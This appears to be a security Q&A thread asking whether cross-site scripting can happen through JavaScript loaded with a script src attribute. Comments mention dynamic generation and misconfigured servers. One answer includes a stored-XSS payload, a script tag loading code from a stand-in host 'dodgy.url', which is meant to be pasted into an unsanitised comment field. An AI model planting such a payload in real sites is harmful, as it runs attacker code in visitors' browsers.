2

I'm working on XSS vulnerability and understanding it. I know in following cases cross site script injection happen in Javascript context

  1. Inside <script> tag.
  2. Inside html tag in event handler attributes values.
  3. Within attribute value, in javascript: URL.

Now, Is there any possibility of XSS attack on JavaScript included directly using "src" attribute.

e.g. <script src="./importjavascript.js"></script>

If yes, then could you please provide me example?

  • 1
    To get good answers, you should clarify your question. It is currently completely unclear where the user input is. Is the string importjavascript.js user controlled? Or the content (or part of the content) of that script? Or is nothing user controlled, and you are worried that someone might still change the script? – tim Apr 16 '16 at 9:04
2

Yes, and quite easily (if I understand the question correctly).

If a website has a comments section which allows the user to post anything (or any section where it allows a user/visitor to post anything) and it outputs what they enter exactly as it appears without any sanitation, they could enter something like:

<script src="http://dodgy.url/badscript.js"></script> 

If that was then output as regular HTML, then anyone visiting the page would have that script loaded for them, probably without the website owner knowing about it.

  • No, I suppose my question may not be clear. But I mean, Can we inject XSS into included java script "importjavascript.js" ? – BSalunke Apr 15 '16 at 12:46
  • If javascript.js is generated dynamically and uses untrusted data with incorrect encoding then the answer is probably. – SilverlightFox Apr 15 '16 at 13:58
  • I'd also guess if the file permissions and server configuration were incorrectly set, the file could be modified by a malicious source and served up with every request – gabe3886 Apr 15 '16 at 14:11
  • @BSalunke, from what i can see in ur question, u can manipulate what the importjavascript.js elements with the method @gabe3886 presented. And if u want to inject directly to the server that dynamically produced it, well u can't if ur only exploiting XSS. – rockStar Apr 15 '16 at 15:32

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.